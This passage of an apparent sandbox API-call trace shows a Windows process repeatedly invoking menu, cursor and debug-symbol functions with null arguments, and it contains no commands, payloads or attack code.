(hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.187] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.187] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.187] GetLastError () returned 0x579 [0185.187] SetLastError (dwErrCode=0x579) [0185.187] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.187] SymCleanup (hProcess=0x0) returned 0 [0185.187] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.187] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.187] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.187] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.187] GetLastError () returned 0x579 [0185.187] SetLastError (dwErrCode=0x579) [0185.187] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.187] SymCleanup (hProcess=0x0) returned 0 [0185.187] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.187] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.188] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.188] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.188] GetLastError () returned 0x579 [0185.188] SetLastError (dwErrCode=0x579) [0185.188] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.188] SymCleanup (hProcess=0x0) returned 0 [0185.188] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.188] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.188] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.188] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1137, param_4=768, param_5=0x0, param_6=0x0) returned 0 [0185.188] GetLastError () returned 0x579 [0185.188] SetLastError (dwErrCode=0x579) [0185.188] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.188] SymCleanup (hProcess=0x0) returned 0 [0185.188] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.188] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.188] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.188] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.188] GetLastError () returned 0x579 [0185.188] SetLastError (dwErrCode=0x579) [0185.188] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.188] SymCleanup (hProcess=0x0) returned 0 [0185.188] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.188] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.188] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.189] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.189] GetLastError () returned 0x579 [0185.189] SetLastError (dwErrCode=0x579) [0185.189] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.189] SymCleanup (hProcess=0x0) returned 0 [0185.189] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.189] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.189] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.189] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.189] GetLastError () returned 0x579 [0185.189] SetLastError (dwErrCode=0x579) [0185.189] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.189] SymCleanup (hProcess=0x0) returned 0 [0185.189] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.189] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.189] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.189] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.189] GetLastError () returned 0x579 [0185.189] SetLastError (dwErrCode=0x579) [0185.189] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.189] SymCleanup (hProcess=0x0) returned 0 [0185.189] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.189] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.189] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.190] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1257, param_4=737, param_5=0x0, param_6=0x0) returned 0 [0185.190] GetLastError () returned 0x579 [0185.190] SetLastError (dwErrCode=0x579) [0185.190] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.190] SymCleanup (hProcess=0x0) returned 0 [0185.190] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.190] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.190] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.190] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.190] GetLastError () returned 0x579 [0185.190] SetLastError (dwErrCode=0x579) [0185.190] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.190] SymCleanup (hProcess=0x0) returned 0 [0185.190] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.190] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.190] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.190] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.190] GetLastError () returned 0x579 [0185.190] SetLastError (dwErrCode=0x579) [0185.190] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.190] SymCleanup (hProcess=0x0) returned 0 [0185.190] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.190] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.190] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.190] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.191] GetLastError () returned 0x579 [0185.191] SetLastError (dwErrCode=0x579) [0185.191] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.191] SymCleanup (hProcess=0x0) returned 0 [0185.191] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.191] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.191] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.191] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.191] GetLastError () returned 0x579 [0185.191] SetLastError (dwErrCode=0x579) [0185.191] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.191] SymCleanup (hProcess=0x0) returned 0 [0185.191] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.191] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.191] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.191] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=714, param_4=641, param_5=0x0, param_6=0x0) returned 0 [0185.191] GetLastError () returned 0x579 [0185.191] SetLastError (dwErrCode=0x579) [0185.191] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.191] SymCleanup (hProcess=0x0) returned 0 [0185.191] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.191] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.191] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.191] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.192] GetLastError () returned 0x579 [0185.192] SetLastError (dwErrCode=0x579) [0185.192] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.192] SymCleanup (hProcess=0x0) returned 0 [0185.192] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.192] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.192] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.192] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.192] GetLastError () returned 0x579 [0185.192] SetLastError (dwErrCode=0x579) [0185.192] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.192] SymCleanup (hProcess=0x0) returned 0 [0185.192] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.193] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.193] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.193] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.193] GetLastError () returned 0x579 [0185.193] SetLastError (dwErrCode=0x579) [0185.193] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.193] SymCleanup (hProcess=0x0) returned 0 [0185.193] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.193] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.193] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.193] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.193] GetLastError () returned 0x579 [0185.193] SetLastError (dwErrCode=0x579) [0185.193] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.193] SymCleanup (hProcess=0x0) returned 0 [0185.193] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.193] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.193] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.193] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=260, param_4=589, param_5=0x0, param_6=0x0) returned 0 [0185.193] GetLastError () returned 0x579 [0185.193] SetLastError (dwErrCode=0x579) [0185.193] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.193] SymCleanup (hProcess=0x0) returned 0 [0185.193] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.193] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.194] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.194] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.194] GetLastError () returned 0x579 [0185.194] SetLastError (dwErrCode=0x579) [0185.194] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.194] SymCleanup (hProcess=0x0) returned 0 [0185.194] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.194] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.194] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.194] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.194] GetLastError () returned 0x579 [0185.194] SetLastError (dwErrCode=0x579) [0185.194] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.194] SymCleanup (hProcess=0x0) returned 0 [0185.194] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.194] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.194] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.194] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.194] GetLastError () returned 0x579 [0185.194] SetLastError (dwErrCode=0x579) [0185.194] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.194] SymCleanup (hProcess=0x0) returned 0 [0185.194] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.194] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.194] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.195] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.195] GetLastError () returned 0x579 [0185.195] SetLastError (dwErrCode=0x579) [0185.195] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.195] SymCleanup (hProcess=0x0) returned 0 [0185.195] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.195] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.195] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.195] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=156, param_4=273, param_5=0x0, param_6=0x0) returned 0 [0185.195] GetLastError () returned 0x579 [0185.195] SetLastError (dwErrCode=0x579) [0185.195] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.195] SymCleanup (hProcess=0x0) returned 0 [0185.195] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.195] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.195] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.195] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.195] GetLastError () returned 0x579 [0185.195] SetLastError (dwErrCode=0x579) [0185.195] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.195] SymCleanup (hProcess=0x0) returned 0 [0185.195] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.195] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.195] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.196] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.196] GetLastError () returned 0x579 [0185.196] SetLastError (dwErrCode=0x579) [0185.196] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.196] SymCleanup (hProcess=0x0) returned 0 [0185.196] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.196] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.196] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.196] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.196] GetLastError () returned 0x579 [0185.196] SetLastError (dwErrCode=0x579) [0185.196] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.196] SymCleanup (hProcess=0x0) returned 0 [0185.196] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.196] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.196] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.196] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.196] GetLastError () returned 0x579 [0185.196] SetLastError (dwErrCode=0x579) [0185.196] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.196] SymCleanup (hProcess=0x0) returned 0 [0185.196] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.196] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.196] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.196] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=355, param_4=417, param_5=0x0, param_6=0x0) returned 0 [0185.197] GetLastError () returned 0x579 [0185.197] SetLastError (dwErrCode=0x579) [0185.197] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.197] SymCleanup (hProcess=0x0) returned 0 [0185.197] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.197] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.197] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.197] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.197] GetLastError () returned 0x579 [0185.197] SetLastError (dwErrCode=0x579) [0185.197] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.197] SymCleanup (hProcess=0x0) returned 0 [0185.197] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.197] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.197] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.197] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.197] GetLastError () returned 0x579 [0185.197] SetLastError (dwErrCode=0x579) [0185.197] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.197] SymCleanup (hProcess=0x0) returned 0 [0185.197] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.197] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.197] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.197] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.198] GetLastError () returned 0x579 [0185.198] SetLastError (dwErrCode=0x579) [0185.198] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.198] SymCleanup (hProcess=0x0) returned 0 [0185.198] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.198] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.198] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.198] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.198] GetLastError () returned 0x579 [0185.198] SetLastError (dwErrCode=0x579) [0185.198] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.198] SymCleanup (hProcess=0x0) returned 0 [0185.198] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.198] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.198] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.198] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=976, param_4=574, param_5=0x0, param_6=0x0) returned 0 [0185.198] GetLastError () returned 0x579 [0185.198] SetLastError (dwErrCode=0x579) [0185.198] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.198] SymCleanup (hProcess=0x0) returned 0 [0185.198] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.198] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.198] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.198] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.198] GetLastError () returned 0x579 [0185.199] SetLastError (dwErrCode=0x579) [0185.199] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.199] SymCleanup (hProcess=0x0) returned 0 [0185.199] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.199] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.199] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.199] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) 